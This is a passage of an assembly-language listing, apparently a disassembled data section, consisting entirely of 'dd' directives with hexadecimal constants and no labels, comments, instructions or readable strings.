		dd 0E311C5D5h, 0F696F750h, 0AEA201DCh, 0B52960A9h, 4C1B7D4Dh
		dd 0F91F2FD6h, 0DEBB81B0h, 2A7F0B70h, 9677FA48h, 83908860h
		dd 16A3DB06h, 76ECD1D3h, 6B51890Dh, 0FB5F0BC2h,	514DA542h
		dd 0A720DF40h, 0BF1D0282h, 0C2C0F21h, 0A384F680h, 0BA953B9Dh
		dd 503B5331h, 0C200DB34h, 35B36630h, 2777F967h,	0DF645250h
		dd 15E54D1Ch, 0CA79E3C7h, 0B6024C30h, 41F00BEh,	8D060F7Ah
		dd 0EA97EB6Eh, 711073EFh, 2FDC68Ch, 59235DF3h, 181AF9A5h
		dd 601E0063h, 0A6878897h, 56E87A68h, 0BB66BD05h, 81F03751h
		dd 0C87C1785h, 0AA56EC42h, 5B23C40Eh, 0BAB11CA1h, 43A03B81h
		dd 4DE59F62h, 1296AC50h, 30953D84h, 0D38AF63Dh,	9B0FC51Eh
		dd 1701F4CEh, 0C76FFAh,	9529A521h, 509B4C6Ah, 4F7DC0D2h
		dd 3B72F722h, 30B11201h, 0ACF174FFh, 0CCA90915h, 49A25E31h
		dd 7B971A50h, 0B9C1D8CFh, 76B1201Fh, 603EFAC0h,	505D8509h
		dd 0B26D301Bh, 0E2615AFEh, 2BC20085h, 90A234CCh, 6809003Dh
		dd 56D0046Dh, 0E253259h, 64436DFFh, 0C19B631Ah,	0F2F331F1h
		dd 89385D1Ch, 362629D3h, 0DD89EC89h, 0DEA1541Ah, 9B001C46h
		dd 93B41A74h, 6C095C57h, 0FD468979h, 1B8B5137h,	0CE187529h
		dd 370041BBh, 96F95426h, 0E85031B7h, 85C30481h,	0AC7B5952h
		dd 95B75E43h, 0F7182AB0h, 0D9EECD0Eh, 683EE014h, 5A514EB0h
		dd 0FB9E2003h, 9D008A60h, 961CE9D0h, 4A36BC34h,	59EAD71h
		dd 34E4D4Fh, 0CEB78Ch, 8FC64B31h, 8CEE36C3h, 0BF5B4628h
		dd 0FB32ED2Fh, 1CA299h,	0BCC43E1Ah, 630E6EA6h, 0B2254279h
		dd 0D0EB4290h, 0AD89753h, 61FCB61Fh, 90376Dh, 0C97CC52Eh
		dd 731AC413h, 635A53BAh, 0C5C000Fh, 0CEE38182h,	7B4D0111h
		dd 0C0F99446h, 9B26F169h, 61E225DCh, 90A58165h,	42D672h
		dd 8448F64Fh, 39B6D77Fh, 0E7B40E05h, 8030F3CFh,	26287Dh
		dd 7AA39FDCh, 3E671454h, 9FD91495h, 68BBB420h, 7D1AFEB8h
		dd 0DF123DE9h, 0E9E590EDh, 16D5CF04h, 0AEA1A312h, 0E5B58904h
		dd 16DA222Ah, 6FE13174h, 0A225906Fh, 0C11629C2h, 0EF030525h
		dd 0ADAA40EBh, 4D4AD4D7h, 11FF0E3h, 9C041795h, 85123187h
		dd 39A823F9h, 0A876BDB5h, 0BF9A025Bh, 7A2AC0D8h, 8B397840h
		dd 643A4D95h, 0BDE56017h, 8B5A121Eh, 699EB3DEh,	11EB7E10h
		dd 815B7609h, 0A192BFB9h, 0F0FE26ABh, 0FEBAB297h, 6BE32E37h
		dd 346A0927h, 55E9F6h, 0BC8B0F35h, 8927263Fh, 0ADF576BDh
		dd 0B6CBAAC0h, 0FCF7BA95h, 1D15D42Ch, 9DBE6121h, 0BEB3F892h
		dd 81125758h, 0C454A90Ch, 0D8BFD9B7h, 4428C85h,	737DBB09h
		dd 0F1805A58h, 0EB9F9DB9h, 0E294BF38h, 0D8D19E82h, 211895DDh
		dd 712FBD33h, 97F4EE30h, 61079FB7h, 52E1C675h, 44B2519Ah
		dd 72451CD1h, 6FEF023Dh, 0D95890A8h, 0BB9680DFh, 15C54C2Ah
		dd 0C489E09Dh, 0E03A4FA5h, 1E56AD78h, 76175E25h, 0E20A0CDh
		dd 9E1495FEh, 2A313B44h, 2E44DB5h, 97FDBB50h, 4B4A0E8Eh
		dd 4F80F1B7h, 2F5F272Ah, 18E77181h, 0B46EC8C7h,	2F852EB1h
		dd 4CD4849Ah, 0FEEEB809h, 1846D6B2h, 3EB89D03h,	56098CDAh
		dd 514828E3h, 89899D6Dh, 42511CC1h, 0D19E33CEh,	7FC503C0h
		dd 77DDCAEh, 58E65425h,	0CB095F16h, 0F5A64A3Fh,	0CAF145A0h
		dd 74BD6B0Eh, 0C8E8E1B4h, 40698D31h, 0F6D0C626h, 2DDCF8B7h
		dd 0D90491A2h, 0F06DA833h, 5C4775BBh, 0A60E7FE1h, 0E637FFF4h
		dd 0FBE474h, 0DCD5785Ch, 7F021994h, 0B7C18BFCh,	704CDF89h
		dd 1895FFF2h, 0A76BF8Ah, 5370CF0Ah, 0B8108B2h, 60EC5B12h
		dd 0F85A4A73h, 0E861CBC1h, 9FE2983Ah, 5A255CC6h, 0A7E8D158h
		dd 1741C8F8h, 0DC92C63Bh, 3EEB96B2h, 0C7F75CB6h, 1C6EF02Eh
		dd 9D25330Dh, 73A04461h, 44BF8CF6h, 0B8904A53h,	0BCBE6C1Bh
		dd 0E6544FCCh, 0E868F0ACh, 0A2A37395h, 31C89E5h, 49B5279Ah
		dd 8DBCE650h, 0BFEC4E5Ah, 0AA16D45Fh, 71F0F8E6h, 0D90A6E8Bh
		dd 0B876E494h, 5B3FE12h, 17B24Ah, 771AC9B5h, 5B4FAA0Eh
		dd 7ECCA14Eh, 1DC817DAh, 0A090FC0h, 923700ADh, 9A689087h
		dd 6D95D1FFh, 0B6B4C0C9h, 6D806BA8h, 8F99830Fh,	0B3278902h
		dd 4426593Dh, 6AF84284h, 70AB5B02h, 904A4B7Dh, 0A25EF7B3h
		dd 2DB95F62h, 6762ED80h
		dd 9977F22Ch, 0D505F302h, 555F61A7h, 802FF9D1h,	51BF56D8h
		dd 6270EA57h, 0D88B1C5Fh, 0F3F58B7Fh, 855F701Ch, 38A7CA26h
		dd 28AE6D13h, 5F09B7B5h, 590F1BE9h, 8E096E3Ah, 0D63E9B08h
		dd 0A4C18809h, 70ADD36Ah, 15095EB9h, 0FFF50E28h, 3557A53Ah
		dd 72F10988h, 2BA1EF01h, 4DC96A50h, 8A3F21FDh, 0F0FF56BFh
		dd 25C2BF2h, 0DBD8F4E0h, 0C6F803A6h, 1100B7BFh,	843C8914h
		dd 294106B5h, 2F32ED95h, 9AD362E2h, 0DAE181C0h,	0F120CB65h
		dd 0D63B5C53h, 6AA4F45Fh, 0BCD4FF59h, 7473009Eh, 0A2B22F52h
		dd 3CB8926Eh, 64FC52B7h, 0FE2D642Bh, 56C2FB29h,	2B5D4260h
		dd 27DE5C12h, 0D121EEDAh, 0EDFC1421h, 0B4F99712h, 0C98ADE3Dh
		dd 267F25E6h, 7BF556FBh, 0B25FB1B7h, 0B18D003Bh, 75F730B9h
		dd 0EDC800FCh, 82B2E55h, 785F6E88h, 0AB6AC8h, 69B57315h
		dd 0F3B6417Dh, 934CE200h, 57D2368Fh, 0DCB3B05Fh, 0F829D382h
		dd 58F589FFh, 6DE2805Bh, 0C82B802Fh, 0B1F1F1B7h, 71E2DA6h
		dd 12E0D166h, 0B6E9096Fh, 10212228h, 9110185h, 0FF65C380h
		dd 0C879F22h, 0C5B094FDh, 0A922E994h, 81BD937Ah, 0C969429Ah
		dd 72482BF8h, 8529860Bh, 0E9287DE5h, 0F8B72B28h, 4A43815Ch
		dd 166B222Bh, 12A52A2Fh, 9E26FE19h, 5F024D31h, 0C15C56F5h
		dd 3F0B0DC1h, 80CCFD9Bh, 51028F18h, 0BD011EAEh,	4F865011h
		dd 378E2060h, 0B6703C75h, 0D9CD1802h, 5552D129h, 0F6076CE4h
		dd 88DF4CEEh, 96929421h, 0F21AA1F4h, 0E2620236h, 6A612CA5h
		dd 1DEDDBA2h, 0E9B5EDF5h, 0A40026ECh, 5A0F9EFAh, 0A265B454h
		dd 0F9217FDBh, 0C2084DB9h, 0F8402AEFh, 1023102Eh, 6418E59Dh
		dd 0FA94455Eh, 0E64AB1A8h, 8DBEE573h, 9DB03B4Dh, 2AD0B006h
		dd 4ABEDD8Dh, 4B646EFCh, 0BF3B13B8h, 0A397B184h, 0DA09C1F2h
		dd 0C02BC88Bh, 0B15BFA0h, 3BB8BA81h, 1FD9CF4Ah,	0EDADEF80h
		dd 86E6C05Ch, 0FD00B914h, 92A510A3h, 258CB7DDh,	0C2F6880Dh
		dd 3CF602F6h, 3129BD09h, 2320B97Fh, 971EF5F0h, 0F6B1A2F3h
		dd 2F2B3135h, 0DE4E7F9Dh, 34875DDBh, 1EFC30DDh,	4D04D54Bh
		dd 0E7B3B223h, 45A2C1ACh, 8985129h, 0DB8713E8h,	918044CCh
		dd 8CF9FAh, 6684417Bh, 213B545Fh, 5F02173Bh, 230098F2h
		dd 26E5C42Dh, 0C6136537h, 3ABD5B71h, 0CD5F4A75h, 55C76EB5h
		dd 3FF1258h, 98162C16h,	0A1A6AC84h, 9E2F04ECh, 5934802Ah
		dd 0B1D99B0h, 0F8F653ACh, 8300F75h, 51122Fh, 754CF17Eh
		dd 9495615Bh, 4FC743D3h, 0A5A09DF6h, 0BB128CB9h, 0DA88FFEEh
		dd 1018010Dh, 0ACCF5A40h, 0C0CD3EE5h, 5FFA9641h, 1B7A36Bh
		dd 4490B3F3h, 8CC8A16Ch, 0CC1A009Ch, 0FA74375h,	8512916Dh
		dd 0EDB59D89h, 55621F47h, 52515C12h, 26120F56h,	1987BFEh
		dd 8B88B867h, 6E2F60FEh, 0D3740A70h, 2518C58Fh,	259D2999h
		dd 1F511D55h, 92850909h, 2D025614h, 0BF707EDBh,	0EA1D1677h
		dd 0F4CF0253h, 0B27C5B9Ah, 5A9D8969h, 18F272Ah,	98D142F3h
		dd 7DA34ECh, 8DC89CBAh,	667079F0h, 974C1641h, 508701D2h
		dd 43440580h, 0A70D064h, 0F2951298h, 9A5B5F89h,	0C01AC896h
		dd 0BFDEE5ECh, 3D892617h, 858304BEh, 7829FF2Ch,	0B886C82Bh
		dd 664A137Ch, 0E28B54AFh, 9E83E51Bh, 902117C2h,	35A88D0Fh
		dd 76B7258Dh, 9BD7EB7h,	5FC61C39h, 0A2009F3Dh, 0F8A7A677h
		dd 326F0A23h, 0F7CBB4h,	9068FC2Ah, 0EA627C88h, 5C1BE312h
		dd 7B6F0235h, 0B77715A2h, 649402DCh, 105D5B84h,	72DA860h
		dd 0EFAFEE6Bh, 30EA707Fh, 9D001CDEh, 5DF78053h,	27BD335Fh
		dd 90DB0B09h, 0FFBBB81h, 9A2A50DBh, 0C214C87Eh,	6AE2E9DBh
		dd 0EBD55h, 0D454BAE2h,	8A0B69A8h, 54B4115Ch, 0E7161251h
		dd 0CB6E4B42h, 49D31F17h, 5F711694h, 3F35E361h,	0EA59132Eh
		dd 7A02377Bh, 0B10326E9h, 14356DE1h, 0FAD738ACh, 17319B08h
		dd 436FEE89h, 0D40E9900h, 19CC7E2Ah, 0F5A18716h, 2925B5E8h
		dd 9CA136CEh, 8F62171Ah, 0E0175614h, 1188453h, 98736201h
		dd 58EE4AF8h, 2B6CB52Ah, 96F53205h, 85661944h, 0A1D52580h
		dd 170A0EFBh, 3981DD25h, 2B50E12Ah, 0C293C8B8h,	79C1159Fh
		dd 6E6E6A96h, 0E10F3912h, 0ECB1793Fh, 0B0332449h, 0B7D00005h
		dd 0B57368F0h, 0BBF12C01h, 27E40537h, 0A8CD624h, 2B0EF24Eh
		dd 0E70B12D7h, 76BB0021h, 3121B0BCh, 2EC125BDh,	75931257h
		dd 22307441h, 4F4194BBh, 611F82AEh, 0C38E4D5Dh,	0B2EC3DD8h
		dd 0FD730743h, 44808B25h, 67CDE6h, 3558D701h, 7E3B7BFEh
		dd 0FAF8534Fh, 980200BAh, 0EE450A91h, 53949521h, 0DB973270h
		dd 4C77D0AEh, 68021671h, 9D238AD0h, 91C1FE25h, 0FEBB0220h
		dd 0FF6950FCh, 7BD2A41Dh, 97F5019h, 29371A03h, 947ED777h
		dd 0C68070E8h, 0C932823Ah, 40AF3900h, 0F61DAB03h, 59FB090Eh
		dd 4B712B6Dh, 0D504C242h, 0DD14423Dh, 499B1F5h,	0A05CF72Fh
		dd 3E47C457h, 0C55CE4DDh, 9C214A72h, 81025352h,	0AC0D3AF3h
		dd 0CA14FF6Eh, 4553CD9Fh, 6A8CFA20h, 0B60997F8h, 6D2D4559h
		dd 0D15EE2BDh, 0C7971075h, 9D6000A4h, 0B0B313FEh, 64E4FA53h
		dd 8A521897h, 2E8081DDh, 2FDA4C32h, 0FB128189h,	6F0AFC19h
		dd 85008FF2h, 0A0CEA78Ch, 1209FD0Eh, 56902B56h,	1646D67Eh
		dd 733CE00Bh, 2BD9BD82h, 97C516FFh, 0AD016A35h,	0C758509h
		dd 3A8DC92Eh, 2AAADD84h, 0CCFA9229h, 6E95BFB2h,	5967B323h
		dd 0D4B13E71h, 0EEE8303Ah, 8913A765h, 0DF2451B5h, 342B35B1h
		dd 1B88AB91h, 0E2255BADh, 5C6BD6F4h, 0E1F61812h, 0DB6E3FABh
		dd 0BF673000h, 3206BB1h, 7BC90997h, 30270D8h, 621BD10h
		dd 96658640h, 0F8F327F8h, 0B5181C59h, 5D7AC201h, 0B0400628h
		dd 5F38F5CDh, 1DD27480h, 6A023657h, 820F136Fh, 78BF2005h
		dd 294FF2B0h, 608F56FDh, 0F8B77562h, 5274B4C2h,	98774BDEh
		dd 0F85EBFF4h, 46A0F5CAh, 3901C7D2h, 0A7C270CDh, 59681DD4h
		dd 0F7EB8101h, 740218CCh, 224D8E9Bh, 64F84E0Ah,	21E7580h
		dd 27034B60h, 587A4F16h, 72A1993Eh, 0C33A5849h,	9B45DC0h
		dd 0E9B1FE5Fh, 4D4147Ch, 0C02F104Dh, 0A56EBC55h, 0EE9312FBh
		dd 80803ADBh, 0C6CC9D0Eh, 6F6C4A00h, 0BB505A85h, 0AFE415A8h
		dd 0FC4E8227h, 512D252Ah, 0A7F369DFh, 0BDC850h,	89FD2F43h
		dd 0FC13D27Ah, 0A70CFB9Fh, 9909D6B5h, 0A18F0236h, 8DC60E23h
		dd 0FC4CB551h, 8B01ABD1h, 0E78098C7h, 1ADD2A9Ah, 9AA85829h
		dd 0A094A51Ch, 9FC4AFh,	8DBDFADDh, 0D1600813h, 24B1CB4Ah
		dd 35A01C28h, 3400C1F8h, 0FBD1B081h, 384F27DAh,	0F5250905h
		dd 4D1AF0E5h, 8ECDF736h, 2320BBE0h, 6C840117h, 601BD5E1h
		dd 31AF428Bh, 1035F40Bh, 0E6612519h, 0F7B713F8h, 0B90C40C6h
		dd 12DA2ECDh, 3262E1BDh, 0EF803184h, 0B4B9BC41h, 58E0D8B6h
		dd 3848B3FBh, 2A611006h, 0E91DA04Ah, 30FC5E4Fh,	0D8F09656h
		dd 3101EB50h, 0B3BC5FFEh, 0C87F1F2Bh, 0CA0EC517h, 26C75E7h
		dd 5FEFD23Eh, 1F2951B8h, 0C4420895h, 5D271FDEh,	0B04EC133h
		dd 2A2C82E4h, 619D2260h, 5E4EB50Ah, 0FE8A900Eh,	71FE9750h
		dd 608FD6Ch, 6F9638Eh, 0BCDCB531h, 9EC284D2h, 5AE38000h
		dd 0D0FC61BBh, 0DAC40D4Bh, 0F8B8B9BDh, 4BF8FA4Fh, 1898A40h
		dd 0D4F38101h, 3F64CF5Ah, 1C9CA0F5h, 0EC5BBC21h, 2AF780F7h
		dd 9EFC43Fh, 9ABCF87Ah,	12759C7Dh, 0AAFD8531h, 70E62E75h
		dd 5DDE20A7h, 190999E4h, 0FEAA83CAh, 0B2D22FD9h, 7B315BB7h
		dd 86EF008Fh, 0CD09E993h
		dd 78C897A0h, 0DF5BB7FAh, 0FADFDBD8h, 2FC79029h, 0C6FB0C39h
		dd 0D12DE1A5h, 51F15836h, 0F126E07h, 806C30AFh,	949723CBh
		dd 3E6845E8h, 0D113AEA2h, 0BC5B24DAh, 2630209Dh, 18526A5Fh
		dd 0D1B15EBFh, 99952313h, 22612D49h, 70082405h,	384D9FF1h
		dd 0DAABDEC4h, 0CE15C832h, 122DD814h, 0CC7074FEh, 0C7B0839Eh
		dd 0D14A2D15h, 8AF4E9F6h, 0EC24A23h, 76B8FF25h,	0B32A50F9h
		dd 73BB8C73h, 5E4BBA73h, 94DE52B4h, 91F004D4h, 0BDFF2212h
		dd 85E392ADh, 89F5324h,	5F1920CDh, 2C2A1D8h, 0B0DFFF6Ah
		dd 732FF35Dh, 0DD08582Ah, 5A11AD5Fh, 0F92581E7h, 274455ECh
		dd 0D958B7h, 0B05B8122h, 0B78434B9h, 185CBC83h,	8185E9B5h
		dd 529503DBh, 71E43410h, 2D099DF0h, 4D42E6BFh, 1189B6F7h
		dd 0BD846379h, 66733115h, 28775613h, 98A9FB12h,	63ED782h
		dd 0C99A5529h, 2B7FAA83h, 199D541Eh, 99D1EC60h,	90178085h
		dd 10F687D8h, 1D5A7E00h, 3C70C6Fh, 94D500E0h, 0FC61D750h
		dd 71229531h, 0F8E94F04h, 0C985C239h, 0D9EA0C08h, 0AFB2234Ah
		dd 0D20FEC4Ah, 0FB213CE2h, 0B2581F11h, 24335510h, 6044FBE9h
		dd 0B54F98EEh, 6B1EF935h, 50A4D82h, 0E1CCFF61h,	0A3875F0Fh
		dd 237917CBh, 39886CFDh, 1BA5A8BCh, 5B83FE4Eh, 955F280Fh
		dd 6C60626Ah, 0A5082201h, 791B090Dh, 0B880342Dh, 45363227h
		dd 18A9AAC6h, 7C309727h, 0B7C17D3h, 23787AB3h, 52B92DF3h
		dd 2BDE33E1h, 1119BF21h, 308070h, 0D7FE796Fh, 0B343212Fh
		dd 51D26002h, 84AE947Bh, 38A091B4h, 824FB55Fh, 62AE1D44h
		dd 0E5928606h, 4D2E2E98h, 0DA59EE00h, 51C5152Dh, 0E7F61E84h
		dd 6A5A0011h, 392BA5FBh, 7D3BF00h, 0B95F57FAh, 6109417Dh
		dd 0EEB34C7Ah, 4D5D8997h, 10D5CB7Bh, 273360E8h,	5FA76185h
		dd 9D246FC7h, 0FC73A05Dh, 27DC919Eh, 30580376h,	0F690CC9Fh
		dd 0A0A55D9Dh, 722BE254h, 0E9D229A8h, 654080A9h, 1B341339h
		dd 0E00063E4h, 76AFFF75h, 0F806D4DAh, 20985EACh, 20A7DE19h
		dd 17879F00h, 0CE775A18h, 1C0F01F0h, 0E3B72DDCh, 0B49B6AEBh
		dd 804BDA4Ah, 992E7378h, 0E8CF11F3h, 26AE000Eh,	2805CC4Ah
		dd 8B0402DEh, 0B55C8E13h, 0FD5942DFh, 0B25F0224h, 0F4AA2739h
		dd 0F35BDABFh, 2657C570h, 0BC48CBBh, 1045B6Fh, 0AC205715h
		dd 1D4650FDh, 9196DC7h,	87028B0Eh, 5B050699h, 0DBFF60AAh
		dd 0CD9DD8BBh, 6017640Dh, 0B750115h, 219D3166h,	861CBF5Ah
		dd 7325E1F2h, 0D699A6B9h, 31491E2h, 10B955CAh, 293B2205h
		dd 0A21E0D13h, 7981F41Eh, 0A77E1669h, 668EA00Dh, 90DC13B1h
		dd 891CA257h, 0F66E5E4Ah, 99C15709h, 27C48401h,	0C50F6412h
		dd 2B934DFh, 0FB94CBDEh, 9602074h, 8432059Dh, 0F67D9681h
		dd 0EBAC75Fh, 0B616045Ch, 8D3BF0C5h, 0A99C0851h, 0DE13D74Fh
		dd 458413A2h, 0A4B7F704h, 0D680E9F8h, 868F6331h, 2E856651h
		dd 0D6DADD28h, 0A96FAF5Ch, 1CE31A00h, 0EAAD8F50h, 948F9F4h
		dd 60807C9Bh, 92F70481h, 0BC645EAEh, 4EA65BC3h,	260943E0h
		dd 0E180A313h, 80309BAAh, 7B31DEDFh, 2DC798B4h,	0F9511CB5h
		dd 0DC2AE79Ah, 0D302DE41h, 258EBADCh, 57D2E25Eh, 0CD95FC78h
		dd 6115640Eh, 8A71ED97h, 0BBAF332Eh, 59EB3988h,	0C5F1905Eh
		dd 0B1B75DD2h, 0FC384119h, 165A8A7Fh, 52C1D98Bh, 7BDF8406h
		dd 2940E13Fh, 16F72BBBh, 0A8584A33h, 4AC23951h,	6A4FB4E7h
		dd 2C9324DCh, 0D0AF0900h, 9749636Bh, 2A06EFC1h,	175B13A7h
		dd 9FF5F8D2h, 303DB584h, 0F03BC6F5h, 0BD976A62h, 169DA67Fh
		dd 0F250248Dh, 1E7F00A3h, 2F3220E4h, 62A01212h,	273BF5DCh
		dd 5C69B00Fh, 8016093Eh, 0E51EF8Bh, 0B1F80500h,	6E0BEh
		dd 254FC7C8h, 0A87921C5h, 976B1412h, 0DE3B6EF1h, 7875C069h
		dd 1E65AC4Fh, 12BD29EDh, 4E6FF72Ch, 899B22AAh, 2DED45Ch
		dd 48FAC6FCh, 1D4A1AF8h, 0C296D20Ah, 427DDC8Ah,	2C4F5C81h
		dd 82BDDEBCh, 5F0379EAh, 1A0042CCh, 0F1BF5FF7h,	0EFF123Ch
		dd 0CBD5D162h, 0E82B129h, 5F013209h, 8DF4BB96h,	507D12B0h
		dd 162A1852h, 0FF2494B3h, 5CFE2EB5h, 0ADD2DB72h, 952BC086h
		dd 7CE56A84h, 0E4AB004Ch, 1169681Fh, 0FA975262h, 7D123B7Eh
		dd 5EE2F9A5h, 1600FF3Fh, 54E63DC7h, 0B0FE90B0h,	6DC99712h
		dd 20883A90h, 8E6800D4h, 0CCF2516Bh, 5002E5CDh,	0C065BE60h
		dd 0BFE88003h, 596179ADh, 0F0BC2A90h, 5F1AB8FCh, 550E31B6h
		dd 551BD3D3h, 0D984E297h, 29BD894Bh, 0D840C979h, 24EBBB66h
		dd 0B6B61BFh, 31561ED5h, 21846FEh, 3343A1CDh, 51A35C92h
		dd 85DE6E2Bh, 0B25D74C0h, 0E92984F8h, 0BD048121h, 3BAE2F0Dh
		dd 5F57A1ABh, 0CBB85F29h, 2D46604h, 7ABCF5EEh, 0C20447A1h
		dd 0EF29EDF5h, 0E413E960h, 4E01EBC7h, 1A72BBEDh, 0E34B49D2h
		dd 0DB6B1235h, 0D4C9807Eh, 5A37484Fh, 2F99B1C7h, 3EA961C4h
		dd 0C8FB838Bh, 1925F420h, 69D27112h, 0D7506173h, 91F397B4h
		dd 3309CD2Ch, 59D0419h,	4B0DCAFFh, 35E100A6h, 5919D090h
		dd 0EDDE2304h, 0FAE2961Bh, 333FEF00h, 0E03DF16Eh, 0B0BD8F00h
		dd 0D08154FDh, 4E3C056Dh, 0AEBC30F8h, 38B188Ch,	0BB505BFAh
		dd 52E62B93h, 416EDBCh,	222D90E2h, 0BCDE27F6h, 0F96CC17Eh
		dd 5DAF87Eh, 240BD618h,	9718A16Ch, 0A44996BBh, 2F21843Fh
		dd 0ABD37ABDh, 0E22FDBC9h, 273A847h, 89A9630Bh,	0E2BC486h
		dd 791C298Dh, 0DCCD6947h, 46BC6144h, 5055C04Bh,	0B0336020h
		dd 320DBC7Ch, 29D661F9h, 0CD5FD4CAh, 671B6432h,	6B5A14F0h
		dd 7A1C142Dh, 4B72F8F7h, 8AF785F8h, 1FA85BBBh, 0C6F6C580h
		dd 91BE374Ch, 0BE78B7F4h, 66705101h, 81A85C73h,	6C27DEAFh
		dd 5EDD81BBh, 389C6A74h, 0DD2F5F69h, 751896A9h,	95EB3BC5h
		dd 0CF5C9BC5h, 54DB80D7h, 92B9C36h, 2DC98D29h, 0A56637FFh
		dd 211A5530h, 2DEE4058h, 366402h, 1547CCACh, 65B65BB7h
		dd 7E121F72h, 2BF77155h, 0A0DFF64Fh, 2706FB9Dh,	0AA822FE1h
		dd 0E75F03CDh, 296A2F5Bh, 2870A673h, 0A4D0E2ACh, 64BF05BEh
		dd 0BA5883FCh, 0C4851A2Ah, 8516FC41h, 0C8BFAC3Ch, 7F00A23Ch
		dd 0E231A7A5h, 4A664492h, 71A3B189h, 3A752E22h,	0F4C0319Ah
		dd 0DE1B4A0h, 0D48ABB02h, 0D90945AAh, 0A712CD6h, 45742F83h
		dd 0CD77C160h, 0B4ED2E23h, 6D6E9780h, 7AB555BAh, 343A97B1h
		dd 0FD523DDBh, 94FC7192h, 634804Fh, 1C320B94h, 0C839D8h
		dd 114F137Ah, 9497A345h, 7E4E4520h, 2BFDF417h, 1C8C15E8h
		dd 2FC6E7EAh, 1DECAFCh,	0AE591A73h, 2FDC8AD6h, 0FD41212Dh
		dd 0E90122F9h, 0FF122EC9h, 0ACE0B0A6h, 6F4E729Bh, 186B34B0h
		dd 0EC18B93h, 9F137EC7h, 64AE880Fh, 0C1C3ACF8h,	5009F780h
		dd 437463Fh, 0D71A3C24h, 759265B9h, 4920D6C1h, 2A3520A8h
		dd 15E81B18h, 5BAF384Ah, 0C05C9B0Bh, 10BAE66Bh,	1C3F0132h
		dd 0F4D512Ch, 48732D86h, 0F792DA39h, 1953B120h,	17127A3Ch
		dd 0FBE14895h, 0C075DB3Ah, 4902519Bh, 0E0FE1298h, 0F8710B50h
		dd 40D42189h, 4BC96440h, 1D8B003Eh, 0D460E516h,	119CB194h
		dd 57AB6D40h, 97C59F04h, 5F515E07h, 0AF20E41Ah,	12B79Dh
		dd 59D17EC9h, 460BA8EBh, 2A26CEFh, 5715E13Dh, 0F0AC8B0h
		dd 81A7163Ch, 0BF84401Ah, 1FD4E3E5h, 6AFC2F5Bh,	74DE01FCh
		dd 729E1EAFh, 4ED1794h,	14039973h, 0D1C90635h, 0A15C7B61h
		dd 64170B39h, 0C29DFC87h, 5E8CDBCBh, 37DDA52Bh,	0CA928142h
		dd 2E52DE4Eh, 9A2F359Dh
		dd 2A4983E0h, 9BAFD011h, 2D7890D7h, 4AFE2F75h, 0D6D868h
		dd 956D8B6Eh, 1BC91456h, 0B7104B09h, 191ED596h,	0C2209145h
		dd 0FC054B49h, 77BDD2F4h, 0DFFE9EA8h, 12C8E04Fh, 457204A9h
		dd 0EE0751C6h, 0C150A773h, 286B8D0Fh, 0C801CA31h, 8E179D7Bh
		dd 2F4BE78h, 0B40907F1h, 0A9708398h, 9DBC905Fh,	1D09BF25h
		dd 1B5989F3h, 0DDAAF019h, 0A40EA904h, 8AE6DB9h,	0E9091ACFh
		dd 0F11C55E3h, 2DAF4220h, 844890Fh, 2E2C1A00h, 0E6E78109h
		dd 79EB0947h, 52DBFD8Ah, 7B2F4D89h, 8844A566h, 0CEC15200h
		dd 0AF147CDAh, 0DEA40075h, 17D9C3A8h, 971385EAh, 0CFC85057h
		dd 796B0096h, 0F293E102h, 52E40626h, 54223900h,	8BCD429Ch
		dd 0C60975Bh, 82017EBBh, 310F3EFBh, 0F42AD2B3h,	9927BFFFh
		dd 838CB7D5h, 6F01CFE5h, 6F4EDB81h, 5DA95AC2h, 337D6316h
		dd 959DDAB7h, 1DC442EDh, 5CAD2160h, 32F48201h, 133489Bh
		dd 0F88BB27Dh, 0F9BB9855h, 0C97900B0h, 8EC112F6h, 55125742h
		dd 49FF8D01h, 8B755EDDh, 734C180Fh, 0BD4A2851h,	976171FEh
		dd 76C2EA9Ah, 7F0B2B7Dh, 0B93FB03Dh, 76566B86h,	32C94210h
		dd 7349DD7Ch, 532B11F3h, 0FFE200A0h, 8FAD52B2h,	0FCB73B20h
		dd 91BAA180h, 2E9CE0B4h, 8F45E9Dh, 0E6092AF9h, 16F5970h
		dd 0FD171264h, 0A379FC61h, 68C0EC00h, 3AF970EAh, 27159E4h
		dd 7460827h, 2BE2E75Ah,	0D7BAB897h, 0B1E521FEh,	289A1D08h
		dd 24C21709h, 0E910E0D5h, 97E77870h, 61138EF1h,	886A19A1h
		dd 9F00CD0Ah, 0D8158E6Ah, 666312h, 1101993Ch, 0BEA64C27h
		dd 0F97A0F12h, 71C492EFh, 2E80C810h, 9D626DF3h,	0D18B89CEh
		dd 0FFA019F1h, 1E1D8518h, 16F6B7C3h, 3071E961h,	215EF32Eh
		dd 862428D3h, 0A4511BBCh, 0E10E86B4h, 18482F10h, 9578AD18h
		dd 0DCA58B96h, 41E94272h, 4ABF3081h, 0FF7A87A8h, 33C8D8Bh
		dd 35C2A057h, 3A5B8133h, 29230D22h, 8A99BFDh, 0A583DE40h
		dd 4150FE42h, 5B469545h, 55527F8h, 0DA5358FEh, 0BB716030h
		dd 0F0051259h, 0BD6D121Ah, 0C39AD321h, 4CB49D80h, 0C7016D3Dh
		dd 0B940349Ah, 0D006106Ch, 2FF5FC39h, 257EC48Bh, 8F37C02Bh
		dd 8C839401h, 9C4122C5h, 51941509h, 0EB12B2D2h,	0F236F7B1h
		dd 3701301Dh, 0F86563Eh, 0ED7B48F3h, 0E7D16A46h, 0C9C0615Ah
		dd 781F0257h, 7456D5A2h, 9295E3A0h, 0BDEA82FAh,	0AFB47B32h
		dd 0DBC113FEh, 752E615Eh, 136BFADCh, 58CBA401h,	20A5A7C9h
		dd 0B4B8527h, 0E1D6D88Bh, 4AEE2865h, 8521B7CAh,	411814F9h
		dd 0B6BC574Ah, 0B85B9F09h, 9FC6F7Eh, 0FBF78032h, 0DBF53A55h
		dd 341A5016h, 28E0C012h, 0A8316C08h, 0CF2BB54Ah, 8100BC56h
		dd 0A9BAE8C6h, 0E6801668h, 0B2B9B845h, 2CED297Bh, 571484C0h
		dd 4CD34CA7h, 5AAFC01h,	6F8BD88Ah, 60C849F2h, 25E576ADh
		dd 867079DCh, 0A9044B17h, 36BE861h, 231A6958h, 129C21BDh
		dd 919DC204h, 81C5CCBFh, 59E7D704h, 0B6B84724h,	2A24BA4Eh
		dd 201C96ADh, 3DB72501h, 59C11780h, 4A42DC7Bh, 30FB8D8Dh
		dd 0FBB7D8C3h, 0F164271Dh, 18D2913h, 0EEBF79D0h, 0B1D19DC6h
		dd 5E955F12h, 79111FEBh, 6AAFA0BDh, 0B87844DBh,	0CC761849h
		dd 0E93D6E91h, 0CDCB6805h, 0F4D77D06h, 0DCD8A223h, 0FD80961Ch
